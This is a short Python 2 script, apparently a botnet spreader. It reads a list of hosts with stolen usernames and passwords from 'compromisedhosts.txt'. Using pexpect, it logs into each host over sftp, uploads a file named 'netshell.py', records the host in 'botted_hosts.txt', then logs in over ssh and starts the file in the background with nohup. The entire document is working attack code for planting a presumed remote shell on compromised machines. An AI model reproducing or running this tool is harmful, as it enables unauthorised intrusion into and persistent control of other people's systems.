#!/usr/bin/python2

import pexpect
import sys

def sshlogin(addr, user, passwd):
	nohup = "nohup" + " " + "./netshell.py" + " " + "&" 
   	connStr = "ssh" + " " + user + "@" + addr
	print "Logging into address: " + connStr
	child = pexpect.spawn(connStr)
	child.expect("password:")
	child.sendline(passwd)
	ret = child.expect(['\$'])
	if ret == 0:
        	print "Log in sucessful."
        	print "Connected to host: " + user + "@" + addr
        	child.sendline(nohup)
		print 'netshell.py now running on machine.'
		print 'Disconnecting\n'
		child.sendline('exit')
        

	else:
        	print 'Host is down.' 

def sftp(addr, user, passwd):
	connStr = "sftp" + " " + user + "@" + addr
	sftpStr = "put" + " " + "netshell.py"
	print 'Executing: ' + connStr + "\n..."
	child = pexpect.spawn(connStr)
	ret1 = child.expect(['password:', 'try again', pexpect.EOF])
	if ret1 == 0:
		child.sendline(passwd)
		ret = child.expect(['sftp>'])
		if ret == 0:
			filevar.write(addr)
			filevar.write("\n")
			print 'Address added to "botted_hosts.txt"'
			child.sendline(sftpStr)
			print 'File uploaded.'
			print 'Exiting now.'
			child.sendline('exit')
			sshlogin(addr, user, passwd)
		
			
		else:
			print 'Host is down.\n'

	else: 
		print 'Host is down.\n'



#hosts = sys.argv[1]
fvar = open("compromisedhosts.txt", 'r')
filevar = open("botted_hosts.txt", 'w')
for line in fvar:
	fields = line.strip().split(" ")
	print 'Reading file "compromisedhosts.txt"...'
	print fields
	print "Uploading script onto address: " + fields[1] + "@" + fields[0]
	sftp(fields[0], fields[1], fields[2])




